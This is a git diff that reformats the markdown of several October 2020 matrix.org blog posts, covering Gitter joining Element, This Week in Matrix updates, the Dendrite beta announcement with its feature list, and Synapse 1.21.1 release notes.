20K users!!) +* Seamless onboarding thanks to using GitLab & GitHub for accounts +* Curated hierarchical room directory +* Magical creation of rooms on demand for every GitLab and GitHub project ever +* GitLab/GitHub activity as a first-class citizen in a room’s side-panel +* Excellent search-engine-friendly static content and archives +* KaTeX support for Maths communities +* Threads! ...and we promise to do everything in our power to preserve and honour these features at all costs and continue to give the Gitter community the experience they’ve come to know and love. @@ -51,14 +51,14 @@ Now we come to the interesting bit. Gitter has some *really* nice features which In practice, the main outcome in the end should be Element having benefited massively from levelling up with Gitter - and Gitter benefiting massively from all the goodies which Element and Matrix brings, including: -* E2E Encryption -* Reactions -* Constantly improving native iOS & Android clients (which should be a welcome alternative to Gitter’s natives ones, which are [already being deprecated](https://gitlab.com/gitlab-org/gitter/webapp/-/issues/2281)) -* VoIP and conferencing -* All the alternative clients, bots, bridges and servers in Matrix -* The full open standard Matrix API -* Widgets (embedding webapps into rooms!) -* ...and of course participation in the wider decentralised Matrix network. +* E2E Encryption +* Reactions +* Constantly improving native iOS & Android clients (which should be a welcome alternative to Gitter’s natives ones, which are [already being deprecated](https://gitlab.com/gitlab-org/gitter/webapp/-/issues/2281)) +* VoIP and conferencing +* All the alternative clients, bots, bridges and servers in Matrix +* The full open standard Matrix API +* Widgets (embedding webapps into rooms!) +* ...and of course participation in the wider decentralised Matrix network. So, there you have it. It’s a new era for Gitter - and we look forward to reinvigorating Gitter’s communities over the coming months. We hope Gitter users will be blown away by the features arriving from Matrix… and we hope that Element users will be ecstatic with the performance and polish work that Gitter-parity will drive us towards. Imagine having guest access in Element that can launch and load a massive room in less than a second! @@ -74,7 +74,7 @@ Any questions, come talk to us on [#gitter:matrix.org](https://matrix.to/#/#gitt Matthew and Amandine model 2014-vintage Matrix & Gitter swag in celebration :D -## Bonus update - The Changelog Interview! +## Bonus update - The Changelog Interview Sid Sijbrandij (CEO at GitLab) and Matthew had a chance to sit down with [The Changelog](https://changelog.com) to talk about Gitter's Big Adventure - so tune in to hear the story first hand! Warning: contains non-ironic use of the word "synergy" :D diff --git a/content/blog/2020/10/2020-10-02-this-week-in-matrix-2020-10-02.md b/content/blog/2020/10/2020-10-02-this-week-in-matrix-2020-10-02.md index 1e7ecdafe..001cca304 100644 --- a/content/blog/2020/10/2020-10-02-this-week-in-matrix-2020-10-02.md +++ b/content/blog/2020/10/2020-10-02-this-week-in-matrix-2020-10-02.md @@ -49,19 +49,24 @@ Welcome to the community, Gitter! 🎉 [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) reported: >### Spec - +> >Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at +> >## MSC Status > >**Merged MSCs:** ->- _No MSCs were merged this week._ +> +>* *No MSCs were merged this week.* > >**MSCs in Final Comment Period:** ->- [MSC2788: Room version 6 as the default room version](https://github.com/matrix-org/matrix-doc/pull/2788) (merge) ->- [MSC2414: Make reason and score parameters optional for reporting content](https://github.com/matrix-org/matrix-doc/pull/2414) (merge) +> +>* [MSC2788: Room version 6 as the default room version](https://github.com/matrix-org/matrix-doc/pull/2788) (merge) +>* [MSC2414: Make reason and score parameters optional for reporting content](https://github.com/matrix-org/matrix-doc/pull/2414) (merge) > >**New MSCs:** ->- [MSC2801: Make it explicit that event bodies are untrusted data](https://github.com/matrix-org/matrix-doc/pull/2801) +> +>* [MSC2801: Make it explicit that event bodies are untrusted data](https://github.com/matrix-org/matrix-doc/pull/2801) +> >## Spec Core Team > >In terms of Spec Core Team MSC focus for this week, after dropping off [MSC2414](https://github.com/matrix-org/matrix-doc/pull/2414) in the FCP bucket, we're heading back for another big swing at widgets. [MSC2774](https://github.com/matrix-org/matrix-doc/pull/2774) (widget ID URL parameter), [MSC2765](https://github.com/matrix-org/matrix-doc/pull/2765) (widget avatars) and [MSC2790](https://github.com/matrix-org/matrix-doc/pull/2790) (modal widgets) are the focus for this week 🙂 @@ -96,7 +101,7 @@ Dendrite is a next-generation homeserver written in Go. It is currently serving > This week we put out a new release candidate -[1.21.0rc2](https://github.com/matrix-org/synapse/releases/tag/v1.21.0rc2) > -> Highlights include +> Highlights include > > * Add experimental support for sharding event persister. ([\#8294](https://github.com/matrix-org/synapse/issues/8294), [\#8387](https://github.com/matrix-org/synapse/issues/8387), [\#8396](https://github.com/matrix-org/synapse/issues/8396), [\#8419](https://github.com/matrix-org/synapse/issues/8419)) > @@ -201,7 +206,6 @@ He then popped up again a few days later to say: The speed at which Tulir writes bridges scares me sometimes. - ### mx-puppet-discord [mx-puppet-discord](https://github.com/matrix-discord/mx-puppet-discord) is a (double)puppeting and relay bridge for discord, based on mx-puppet-bridge @@ -209,7 +213,7 @@ The speed at which Tulir writes bridges scares me sometimes. [sorunome](https://matrix.to/#/@sorunome:sorunome.de) said: > mx-puppet-discord got updated to the newest discord.js version, meaning you have to update if you want to continue to operate it, due to discord having changed their gateway url! - +> > mx-puppet-discord now also supports the intent stuff, so be sure to update by 7th oct **If you run mx-puppet-discord (like I do), make sure to update by October 7th or it will stop working!** @@ -226,7 +230,6 @@ The speed at which Tulir writes bridges scares me sometimes. > In the hope of expanding the number of people contributing to the matrix-appservice-slack repo I have spent a chunk of my morning improving the issue descriptions and labelling up issues. If you are interested in fixing a little annoyance with the slack bridge or just fancy writing some typescript see the [good first issue](https://github.com/matrix-org/matrix-appservice-slack/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22) label on the repo. - ### matrix-appservice-slack 1.6.0 rocks the block [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) reported: @@ -243,7 +246,7 @@ The speed at which Tulir writes bridges scares me sometimes. > > * New configuration options to allow or deny some channels from being bridged. > -> * Support removing _reactions_ from Slack and Matrix messages. +> * Support removing *reactions* from Slack and Matrix messages. > * Add onboarding message for new users when puppeting is enabled, to encourage them to puppet. > > * Improved feature documentation @@ -287,11 +290,11 @@ Looking forward to seeing all the new Hacktoberfest contributors! 🎃 > More browser compatibility work this week, making Hydrogen run IE11 on Windows 7, and on Safari on macOS and iOS (still with some caveats). Also fixed several bugs: > -> * fix for unable to open session after a synapse bug manifested itself -> * prevent the app locking up when you start the app with previously unsent messages +> * fix for unable to open session after a synapse bug manifested itself +> * prevent the app locking up when you start the app with previously unsent messages > -> * fix sync errors being reported as "null" in the banner -> * handle timeout during initial sync (important for large accounts) (although I have seen 1 report that this still isn't fixed, please report if you can't login with a large account) +> * fix sync errors being reported as "null" in the banner +> * handle timeout during initial sync (important for large accounts) (although I have seen 1 report that this still isn't fixed, please report if you can't login with a large account) ### SchildiChat for Android @@ -321,11 +324,11 @@ SpiritCroc also mentioned some relevant links! > 1.0.14 is in on the release path. It has: > -> * Room: Differentiate wordings for DMs -> * Room: New room details screen +> * Room: Differentiate wordings for DMs +> * Room: New room details screen > -> * Add Estonian support -> * Polishment in several areas and many bug fixes +> * Add Estonian support +> * Polishment in several areas and many bug fixes > > Full changelog: > @@ -354,7 +357,7 @@ SpiritCroc also mentioned some relevant links! > Element Android: Version 1.0.8 is now available on the stores, it fixes issues with verification and PIN code among other issues (see for more details). Now we are working on improving performance when sending messages to rooms, and also improving global UX, especially of the home (rooms list). Search messages (in clear rooms for the moment) is coming soon, and it will be also possible to filter the room members list. > -> We will also spend some time on the new Android SDK, https://github.com/matrix-org/matrix-android-sdk2, which is for the moment a quick extract of what we have in Element Android. We have to take care of it as a real product now: document it properly, set up CI, export Javadoc, develop a sample app, etc. +> We will also spend some time on the new Android SDK, , which is for the moment a quick extract of what we have in Element Android. We have to take care of it as a real product now: document it properly, set up CI, export Javadoc, develop a sample app, etc. ### Element for Nextcloud @@ -384,7 +387,6 @@ SpiritCroc also mentioned some relevant links! > > Overall it's a good sign to see so many communities making the jump to Matrix and sticking around ❤️ - ![2020-10-02-uDiMG-image.png](/blog/img/2020-10-02-uDiMG-image.png) ## Dept of Bots 🤖 diff --git a/content/blog/2020/10/2020-10-08-dendrite-is-entering-beta.md b/content/blog/2020/10/2020-10-08-dendrite-is-entering-beta.md index 4a19b9c6d..3b53d2b3a 100644 --- a/content/blog/2020/10/2020-10-08-dendrite-is-entering-beta.md +++ b/content/blog/2020/10/2020-10-08-dendrite-is-entering-beta.md @@ -22,9 +22,9 @@ However, as the project started to progress, it became clear that this was going So, towards the end of 2016 (after the rush to launch ~~Vector~~ ~~Riot~~ Element that summer), we went back to the drawing board to devise Dendrite—“Dendron done right!”—as opposed to Dendron, which in retrospect was Dendrite done wrong. ;) The new vision was: -* Build a massively horizontally scalable architecture, such that large Matrix deployments like matrix.org and big government deployments could run smoothly without the constant scalability headaches we were seeing at the time with Synapse -* Do so by splitting the server into well-defined microservice components, each of which could independently horizontally scale, each with its own DB (if desired) -* Connect the components together with a set of append-only logs via [Kafka](https://kafka.apache.org/) or similar, easily letting components shard and maintain their databases from the logs, allowing rolling upgrades, possibly schema upgrades, and all sorts of other niceties. The logs effectively become a primary source of truth rather than putting all the onus on a massive monolithic ever-growing database +* Build a massively horizontally scalable architecture, such that large Matrix deployments like matrix.org and big government deployments could run smoothly without the constant scalability headaches we were seeing at the time with Synapse +* Do so by splitting the server into well-defined microservice components, each of which could independently horizontally scale, each with its own DB (if desired) +* Connect the components together with a set of append-only logs via [Kafka](https://kafka.apache.org/) or similar, easily letting components shard and maintain their databases from the logs, allowing rolling upgrades, possibly schema upgrades, and all sorts of other niceties. The logs effectively become a primary source of truth rather than putting all the onus on a massive monolithic ever-growing database Rather than Dendron’s top-down approach, instead Dendrite started bottom-up with the very hardest bit: [gomatrixserverlib](https://github.com/matrix-org/gomatrixserverlib), a standalone Go library implementing the state resolution algorithms and performing federation requests (such that it might also someday be used as a general purpose way to add Matrix federation support to an existing Go codebase). @@ -36,9 +36,9 @@ Things were looking pretty positive by the summer of 2017: we had the server sen However, we then hit three fairly major obstacles: -* [Matrix lost its funding](https://matrix.org/blog/2017/07/07/a-call-to-arms-supporting-matrix) -* In the ensuing uncertainty, the two lead developers (Mjark & Kegan) went to work elsewhere -* Meanwhile, Matrix uptake was starting to explode and Synapse was failing to scale to handle the traffic on matrix.org (and elsewhere) +* [Matrix lost its funding](https://matrix.org/blog/2017/07/07/a-call-to-arms-supporting-matrix) +* In the ensuing uncertainty, the two lead developers (Mjark & Kegan) went to work elsewhere +* Meanwhile, Matrix uptake was starting to explode and Synapse was failing to scale to handle the traffic on matrix.org (and elsewhere) At first, having formed what would become New Vector (now Element) to keep the rest of the core team hired, we pushed to see if we could get Dendrite finished fast enough to replace Synapse, with Erik & richvdh jumping over from Synapse to pick up the remaining work. However, it became clear that we urgently needed a quicker solution to address all the overloaded Synapses out there, and so they swung back to focus on improving Synapse (taking inspiration from some of the design of Dendrite - e.g. offloading endpoints onto worker processes connected via replication streams, and using [OpenTracing](https://opentracing.io/) to debug traffic as it flows over the various services). @@ -56,56 +56,56 @@ Here’s a pretty picture courtesy of GitHub to visualise the progress: Throughout 2020 there’s been a huge amount of stabilisation work and polish: -* Refactoring much of Dendrite’s foundation to make the codebase more maintainable -* Created all-new user server, key server, signing key server microservices -* Moving some work from existing microservices (ultimately superseding the former currentstateserver, publicroomsapi and typingserver microservices altogether) -* Developing new testing infrastructure: - * [Complement](https://github.com/matrix-org/complement) - our brand new Golang Matrix integration test harness - * [Are We Synapse Yet](https://github.com/matrix-org/dendrite/blob/master/are-we-synapse-yet.py) - an aggregator which parses sytest/complement output to compare how close Dendrite is to passing -* All the Matrix 1.0 work - particularly state res v2 & room version support -* Making it work with more P2P transports for [all the exciting P2P experiments](https://matrix.org/blog/2020/06/02/introducing-p-2-p-matrix/) -* Supporting backfill and fetching missing events -* Fixing up SQLite support to make it work as a first class citizen (with shared storage code where we can!) -* Supporting both sending and rejecting invites (even over federation) -* E2E encryption support (one-time keys, device lists, send-to-device support) -* Improved federation sender logic (resend retries, backoffs, blacklisting, metrics, resetting backoffs when receiving transactions) -* Handling both inbound and outbound redactions -* User interactive authentication (and implemented on various ‘sudo’ endpoints e.g. deleting devices and changing passwords) -* Respecting server ACLs -* Rejecting / soft-failing events properly -* Support for database schema upgrades +* Refactoring much of Dendrite’s foundation to make the codebase more maintainable +* Created all-new user server, key server, signing key server microservices +* Moving some work from existing microservices (ultimately superseding the former currentstateserver, publicroomsapi and typingserver microservices altogether) +* Developing new testing infrastructure: + * [Complement](https://github.com/matrix-org/complement) - our brand new Golang Matrix integration test harness + * [Are We Synapse Yet](https://github.com/matrix-org/dendrite/blob/master/are-we-synapse-yet.py) - an aggregator which parses sytest/complement output to compare how close Dendrite is to passing +* All the Matrix 1.0 work - particularly state res v2 & room version support +* Making it work with more P2P transports for [all the exciting P2P experiments](https://matrix.org/blog/2020/06/02/introducing-p-2-p-matrix/) +* Supporting backfill and fetching missing events +* Fixing up SQLite support to make it work as a first class citizen (with shared storage code where we can!) +* Supporting both sending and rejecting invites (even over federation) +* E2E encryption support (one-time keys, device lists, send-to-device support) +* Improved federation sender logic (resend retries, backoffs, blacklisting, metrics, resetting backoffs when receiving transactions) +* Handling both inbound and outbound redactions +* User interactive authentication (and implemented on various ‘sudo’ endpoints e.g. deleting devices and changing passwords) +* Respecting server ACLs +* Rejecting / soft-failing events properly +* Support for database schema upgrades ... which brings us at last to the present day (Oct 2020), as we declare Dendrite sufficiently stable that we consider it ready for beta testing! -In practice, this means **Dendrite is now ready for experimentation by adventurous Matrix sysadmins. It is *NOT* ready for production usage yet, but we need folks to test it and help us iron out the remaining bugs! **Please do not trust it with sensitive data yet, and we don’t recommend trying to run it at scale yet as we haven’t done any serious optimisation work yet. +In practice, this means **Dendrite is now ready for experimentation by adventurous Matrix sysadmins. It is *NOT* ready for production usage yet, but we need folks to test it and help us iron out the remaining bugs!**Please do not trust it with sensitive data yet, and we don’t recommend trying to run it at scale yet as we haven’t done any serious optimisation work yet. That said, we do provide the following guarantees: -* We’re providing versioned releases from here on in, beginning with [0.1.0](https://github.com/matrix-org/dendrite/releases/tag/v0.1.0) -* We don’t expect any major breaking changes to the config or architecture before 1.0 -* Ready for early adopters to try running Dendrite without experiencing ~daily breaking churn -* The database schema is now stable and will upgrade itself going forwards - your database should now be here to stay! (assuming we don’t hit any nasty data loss bugs during beta) +* We’re providing versioned releases from here on in, beginning with [0.1.0](https://github.com/matrix-org/dendrite/releases/tag/v0.1.0) +* We don’t expect any major breaking changes to the config or architecture before 1.0 +* Ready for early adopters to try running Dendrite without experiencing ~daily breaking churn +* The database schema is now stable and will upgrade itself going forwards - your database should now be here to stay! (assuming we don’t hit any nasty data loss bugs during beta) In terms of comparison with Synapse, the main things you should get excited about are: -* Dendrite aims to provide an **efficient**, **reliable** and **scalable** alternative to Synapse: - * Efficient: A small memory footprint with better baseline performance than an out-of-the-box Synapse - * Reliable: Implements the Matrix specification as written, using the [same test suite](https://github.com/matrix-org/sytest) as Synapse as well as a [brand new Go test suite](https://github.com/matrix-org/complement) - * Scalable: can run on multiple machines and eventually scale to massive homeserver deployments -* This means significantly less memory usage than Synapse (depends on joined rooms, often between 50MB - 400MB resident memory) - although we haven’t tuned this at all yet! -* All-new database model, where every microservice instance has its own database tables, letting them scale arbitrarily wide -* The ability to efficiently use all your available CPU cores without needing to split into separate processes, thanks to Go and our extensive use of goroutines. No more Python global interpreter lock! :) -* Future experimental MSCs are likely to land in Dendrite before Synapse (e.g [MSC2753 Peeking via /sync](https://github.com/matrix-org/matrix-doc/blob/matthew/msc2753/proposals/2753-peeking-via-sync-v2.md) and [MSC2444 Peeking over Federation](https://github.com/matrix-org/matrix-doc/blob/matthew/msc2444/proposals/2444-peeking-over-federation-peek-api.md) are already being prototyped ([#1370](https://github.com/matrix-org/dendrite/pull/1370) and [#1391](https://github.com/matrix-org/dendrite/pull/1391)) in Dendrite rather than Synapse!) +* Dendrite aims to provide an **efficient**, **reliable** and **scalable** alternative to Synapse: + * Efficient: A small memory footprint with better baseline performance than an out-of-the-box Synapse + * Reliable: Implements the Matrix specification as written, using the [same test suite](https://github.com/matrix-org/sytest) as Synapse as well as a [brand new Go test suite](https://github.com/matrix-org/complement) + * Scalable: can run on multiple machines and eventually scale to massive homeserver deployments +* This means significantly less memory usage than Synapse (depends on joined rooms, often between 50MB - 400MB resident memory) - although we haven’t tuned this at all yet! +* All-new database model, where every microservice instance has its own database tables, letting them scale arbitrarily wide +* The ability to efficiently use all your available CPU cores without needing to split into separate processes, thanks to Go and our extensive use of goroutines. No more Python global interpreter lock! :) +* Future experimental MSCs are likely to land in Dendrite before Synapse (e.g [MSC2753 Peeking via /sync](https://github.com/matrix-org/matrix-doc/blob/matthew/msc2753/proposals/2753-peeking-via-sync-v2.md) and [MSC2444 Peeking over Federation](https://github.com/matrix-org/matrix-doc/blob/matthew/msc2444/proposals/2444-peeking-over-federation-peek-api.md) are already being prototyped ([#1370](https://github.com/matrix-org/dendrite/pull/1370) and [#1391](https://github.com/matrix-org/dendrite/pull/1391)) in Dendrite rather than Synapse!) The provisos you should know about however are: -* We’re not feature complete yet: sytest reports 56% CS API coverage and 77% Federation coverage. **NB: these are always going to be underestimates of how much Dendrite actually performs due to how the tests are spread out, in actuality it’s likely more 70% CS, 95% Fed.** -* No read receipts, membership lazy-loading, presence, push notifications, search, event context, key backups, cross-signing. See changelog for full limitations. -* Not battle-tested in the wild by many people (there are probably only ~10 dendrites on the open network today!) - so there’s likely to be a broad spectrum of bugs at first. -* Clients that require more exotic features, like lazy loading, may not behave properly yet -* Please **use Postgres rather than SQLite wherever possible**—it’s faster and has fewer issues regarding concurrency (some requests on SQLite Dendrites may 500 with ‘database is locked’ - though we’ve worked hard to eliminate most of these) -* Dendrite can run in either “monolith” or “polylith” mode. In monolith, all the microservices are linked into a single binary - and **we recommend running in this configuration wherever possible** for now. Monolith mode is _extremely_ capable as it is and has fewer moving parts for things to go wrong and will be the right choice for the majority of beta deployments! -* Whilst Dendrite is nearly 100% federation compatible, there may still be situations where it will split-brain and disagree with the current room state that Synapse has calculated. We expect these issues to resolve as we get more user feedback. +* We’re not feature complete yet: sytest reports 56% CS API coverage and 77% Federation coverage. **NB: these are always going to be underestimates of how much Dendrite actually performs due to how the tests are spread out, in actuality it’s likely more 70% CS, 95% Fed.** +* No read receipts, membership lazy-loading, presence, push notifications, search, event context, key backups, cross-signing. See changelog for full limitations. +* Not battle-tested in the wild by many people (there are probably only ~10 dendrites on the open network today!) - so there’s likely to be a broad spectrum of bugs at first. +* Clients that require more exotic features, like lazy loading, may not behave properly yet +* Please **use Postgres rather than SQLite wherever possible**—it’s faster and has fewer issues regarding concurrency (some requests on SQLite Dendrites may 500 with ‘database is locked’ - though we’ve worked hard to eliminate most of these) +* Dendrite can run in either “monolith” or “polylith” mode. In monolith, all the microservices are linked into a single binary - and **we recommend running in this configuration wherever possible** for now. Monolith mode is *extremely* capable as it is and has fewer moving parts for things to go wrong and will be the right choice for the majority of beta deployments! +* Whilst Dendrite is nearly 100% federation compatible, there may still be situations where it will split-brain and disagree with the current room state that Synapse has calculated. We expect these issues to resolve as we get more user feedback. Architecture-wise, this is what Dendrite looks like under the hood today: @@ -115,13 +115,13 @@ To get up and running, please install Go and head on over to the Get Started gui In terms of where we’re going next: -* Read receipts. It’s a major missing feature and impacts UX significantly. -* 100% Federation coverage (according to sytest). It’s crucial that Dendrite instances play nicely with other servers. This will be the best metric we have for asserting that we are just as capable as Synapse at the fed level. -* Optimisation—**Dendrite has not been optimised yet for speed or resource utilisation!** - * We plan to add benchmarks which will stress test different microservices in the presence of many different scaling factors (number of users, number of rooms, size of room, number of devices per user, number of sync requests, etc). This will hopefully allow us to identify early on bottlenecks and slow algorithms - * Good old fashioned pprof with known slow scenarios to see what’s consuming CPU/memory and fixing issues ad-hoc (which we’ve already done a bit of pre-beta). This may involve adding additional in-memory caches, with a healthy respect for the complexities it may introduce (which Synapse has been bitten by) -* We plan to add first class feature flag support for experimental MSCs—experimentation is one thing which makes Dendrite notably different from Synapse, and supporting it more thoroughly going forwards will be important. This may mean adding additional hooks; potentially a dedicated microservice to cleanly separate experiments, we don’t know yet -* P2P work will continue with vigour now we have a working, featureful, and relatively stable HS to embed and play with +* Read receipts. It’s a major missing feature and impacts UX significantly. +* 100% Federation coverage (according to sytest). It’s crucial that Dendrite instances play nicely with other servers. This will be the best metric we have for asserting that we are just as capable as Synapse at the fed level. +* Optimisation—**Dendrite has not been optimised yet for speed or resource utilisation!** + * We plan to add benchmarks which will stress test different microservices in the presence of many different scaling factors (number of users, number of rooms, size of room, number of devices per user, number of sync requests, etc). This will hopefully allow us to identify early on bottlenecks and slow algorithms + * Good old fashioned pprof with known slow scenarios to see what’s consuming CPU/memory and fixing issues ad-hoc (which we’ve already done a bit of pre-beta). This may involve adding additional in-memory caches, with a healthy respect for the complexities it may introduce (which Synapse has been bitten by) +* We plan to add first class feature flag support for experimental MSCs—experimentation is one thing which makes Dendrite notably different from Synapse, and supporting it more thoroughly going forwards will be important. This may mean adding additional hooks; potentially a dedicated microservice to cleanly separate experiments, we don’t know yet +* P2P work will continue with vigour now we have a working, featureful, and relatively stable HS to embed and play with Longer term, it’s pretty hard to say right now when we expect to exit beta (it took Synapse 5 years to exit beta, after all ;) - but obviously we’ll need Dendrite to have parity with Synapse and have no known serious bugs. @@ -138,85 +138,94 @@ Here’s the official changelog: ### Client-Server API Features #### Account registration and management -- Registration: By password only. -- Login: By password only. No fallback. -- Logout: Yes. -- Change password: Yes. -- Link email/msisdn to account: No. -- Deactivate account: Yes. -- Check if username is available: Yes. -- Account data: Yes. -- OpenID: No. + +* Registration: By password only. +* Login: By password only. No fallback. +* Logout: Yes. +* Change password: Yes. +* Link email/msisdn to account: No. +* Deactivate account: Yes. +* Check if username is available: Yes. +* Account data: Yes. +* OpenID: No. #### Rooms -- Room creation: Yes, including presets. -- Joining rooms: Yes, including by alias or `?server_name=`. -- Event sending: Yes, including transaction IDs. -- Aliases: Yes. -- Published room directory: Yes. -- Kicking users: Yes. -- Banning users: Yes. -- Inviting users: Yes, but not third-party invites. -- Forgetting rooms: No. -- Room versions: All (v1 - v6) -- Tagging: Yes. + +* Room creation: Yes, including presets. +* Joining rooms: Yes, including by alias or `?server_name=`. +* Event sending: Yes, including transaction IDs. +* Aliases: Yes. +* Published room directory: Yes. +* Kicking users: Yes. +* Banning users: Yes. +* Inviting users: Yes, but not third-party invites. +* Forgetting rooms: No. +* Room versions: All (v1 - v6) +* Tagging: Yes. #### User management -- User directory: Basic support. -- Ignoring users: No. -- Groups/Communities: No. + +* User directory: Basic support. +* Ignoring users: No. +* Groups/Communities: No. #### Device management -- Creating devices: Yes. -- Deleting devices: Yes. -- Send-to-device messaging: Yes. + +* Creating devices: Yes. +* Deleting devices: Yes. +* Send-to-device messaging: Yes. #### Sync -- Filters: Timeline limit only. Rest unimplemented. -- Deprecated `/events` and `/initialSync`: No. + +* Filters: Timeline limit only. Rest unimplemented. +* Deprecated `/events` and `/initialSync`: No. #### Room events -- Typing: Yes. -- Receipts: No. -- Read Markers: No. -- Presence: No. -- Content repository (attachments): Yes. -- History visibility: No, defaults to `joined`. -- Push notifications: No. -- Event context: No. -- Reporting content: No. + +* Typing: Yes. +* Receipts: No. +* Read Markers: No. +* Presence: No. +* Content repository (attachments): Yes. +* History visibility: No, defaults to `joined`. +* Push notifications: No. +* Event context: No. +* Reporting content: No. #### End-to-End Encryption -- Uploading device keys: Yes. -- Downloading device keys: Yes. -- Claiming one-time keys: Yes. -- Querying key changes: Yes. -- Cross-Signing: No. + +* Uploading device keys: Yes. +* Downloading device keys: Yes. +* Claiming one-time keys: Yes. +* Querying key changes: Yes. +* Cross-Signing: No. #### Misc -- Server-side search: No. -- Guest access: Partial. -- Room previews: No, partial support for Peeking via MSC2753. -- Third-Party networks: No. -- Server notices: No. -- Policy lists: No. + +* Server-side search: No. +* Guest access: Partial. +* Room previews: No, partial support for Peeking via MSC2753. +* Third-Party networks: No. +* Server notices: No. +* Policy lists: No. ### Federation Features -- Querying keys (incl. notary): Yes. -- Server ACLs: Yes. -- Sending transactions: Yes. -- Joining rooms: Yes. -- Inviting to rooms: Yes, but not third-party invites. -- Leaving rooms: Yes. -- Content repository: Yes. -- Backfilling / get_missing_events: Yes. -- Retrieving state of the room (`/state` and `/state_ids`): Yes. -- Public rooms: Yes. -- Querying profile data: Yes. -- Device management: Yes. -- Send-to-Device messaging: Yes. -- Querying/Claiming E2E Keys: Yes. -- Typing: Yes. -- Presence: No. -- Receipts: No. -- OpenID: No. + +* Querying keys (incl. notary): Yes. +* Server ACLs: Yes. +* Sending transactions: Yes. +* Joining rooms: Yes. +* Inviting to rooms: Yes, but not third-party invites. +* Leaving rooms: Yes. +* Content repository: Yes. +* Backfilling / get_missing_events: Yes. +* Retrieving state of the room (`/state` and `/state_ids`): Yes. +* Public rooms: Yes. +* Querying profile data: Yes. +* Device management: Yes. +* Send-to-Device messaging: Yes. +* Querying/Claiming E2E Keys: Yes. +* Typing: Yes. +* Presence: No. +* Receipts: No. +* OpenID: No. diff --git a/content/blog/2020/10/2020-10-09-this-week-in-matrix-2020-10-09.md b/content/blog/2020/10/2020-10-09-this-week-in-matrix-2020-10-09.md index 0cb4f5ae0..2deefaf3c 100644 --- a/content/blog/2020/10/2020-10-09-this-week-in-matrix-2020-10-09.md +++ b/content/blog/2020/10/2020-10-09-this-week-in-matrix-2020-10-09.md @@ -28,7 +28,7 @@ ALSO [Matthew](https://matrix.to/#/@matthew:matrix.org) commented: -> looks like teamspeak is using Matrix (a Matrix endpoint was previously noticed at https://tschat-1.teamspeak.com/) +> looks like teamspeak is using Matrix (a Matrix endpoint was previously noticed at ) [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko.dev) offered: @@ -40,7 +40,7 @@ ALSO > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > @@ -49,7 +49,7 @@ ALSO > > **MSCs in Final Comment Period:** > -> * _No MSCs are in FCP._ +> * *No MSCs are in FCP.* > > **New MSCs:** > @@ -58,7 +58,7 @@ ALSO > > * [\[WIP\] MSC2802: Flip The Table for Full Room Abstraction](https://github.com/matrix-org/matrix-doc/pull/2802) > -> #### Spec Core Team +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, we're going to be keeping the same three MSCs as last week, as their review is still a work in progress. As a reminder, those are [MSC2774](https://github.com/matrix-org/matrix-doc/issues/2774) (widget URL template parameters), [MSC2765](https://github.com/matrix-org/matrix-doc/issues/2765) (widget avatars), and [MSC2790](https://github.com/matrix-org/matrix-doc/issues/2790) (modal widgets). @@ -157,8 +157,6 @@ These two projects combined should noticeably improve performance of matrix.org > Former Fractal GSoC intern Alejandro Dominguez 😎️ got his [Integrate matrix-sdk (I)](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/626) merge request in “Ready for review” state. That’s a +3910/-5439, 38 commits diff‼️ poljar, who is the main contributor of matrix-rust-sdk, already had a look and provided some insights, but given 😱️ the sheer size of the changeset, the moar 👀️ we can get on it the better. - - ### fluffychat [krille](https://matrix.to/#/@krille:janian.de) offered: @@ -307,7 +305,7 @@ Ruma is a Rust project to create a comprehensive set of APIs for Matrix. Previou > > Since ObjFW also works on platforms that are usually hard to support or port software to (e.g. [MorphOS](https://www.morphos-team.net/)), this will hopefully also bring clients for these less mainstream operating systems. I'm especially hopeful about MorphOS here, since ObjFW already runs quite well there (parts of it are included with the OS even!), and hardware on which MorphOS runs on is usually not powerful enough to run Element Web. And eventually, I will want to have a Matrix client on my Amiga, too 😉 (which this should enable). > -> This currently does not have a decicated Matrix room yet, so all discussions about it currently happen in [#objfw:nil.im](https://matrix.to/#/#objfw:nil.im). So please feel free to join there and follow along development. And contributions are of course _very_ welcome! +> This currently does not have a decicated Matrix room yet, so all discussions about it currently happen in [#objfw:nil.im](https://matrix.to/#/#objfw:nil.im). So please feel free to join there and follow along development. And contributions are of course *very* welcome! ## Dept of Ops 🛠 @@ -317,7 +315,7 @@ Ruma is a Rust project to create a comprehensive set of APIs for Matrix. Previou > the `famedly.matrix` ansible collection has seen a release v0.2.0. Highlights since the last TWIM mention: > -> * **synapse_register**: a new module for registering users using synapse's admin API. +> * **synapse_register**: a new module for registering users using synapse's admin API. > > * **matrix_member**: another new module, for inviting/kicking/banning people to/from rooms. > diff --git a/content/blog/2020/10/2020-10-13-synapse-1-21-1-released.md b/content/blog/2020/10/2020-10-13-synapse-1-21-1-released.md index e11c426dc..b36661db3 100644 --- a/content/blog/2020/10/2020-10-13-synapse-1-21-1-released.md +++ b/content/blog/2020/10/2020-10-13-synapse-1-21-1-released.md @@ -11,155 +11,140 @@ Synapse 1.21.1 has landed! Highlights of 1.21.1 include:- - * Add experimental support for sharding event persister. ([\#8294](https://github.com/matrix-org/synapse/issues/8294), [\#8387](https://github.com/matrix-org/synapse/issues/8387), [\#8396](https://github.com/matrix-org/synapse/issues/8396), [\#8419](https://github.com/matrix-org/synapse/issues/8419)) +* Add experimental support for sharding event persister. ([\#8294](https://github.com/matrix-org/synapse/issues/8294), [\#8387](https://github.com/matrix-org/synapse/issues/8387), [\#8396](https://github.com/matrix-org/synapse/issues/8396), [\#8419](https://github.com/matrix-org/synapse/issues/8419)) - * Add experimental prometheus metric to track numbers of "large" rooms for state resolutiom. ([\#8425](https://github.com/matrix-org/synapse/issues/8425)) - * Add prometheus metrics to track federation delays. ([\#8430](https://github.com/matrix-org/synapse/issues/8430)) +* Add experimental prometheus metric to track numbers of "large" rooms for state resolutiom. ([\#8425](https://github.com/matrix-org/synapse/issues/8425)) +* Add prometheus metrics to track federation delays. ([\#8430](https://github.com/matrix-org/synapse/issues/8430)) - * Fix messages not being sent over federation until an event is sent into the same room. 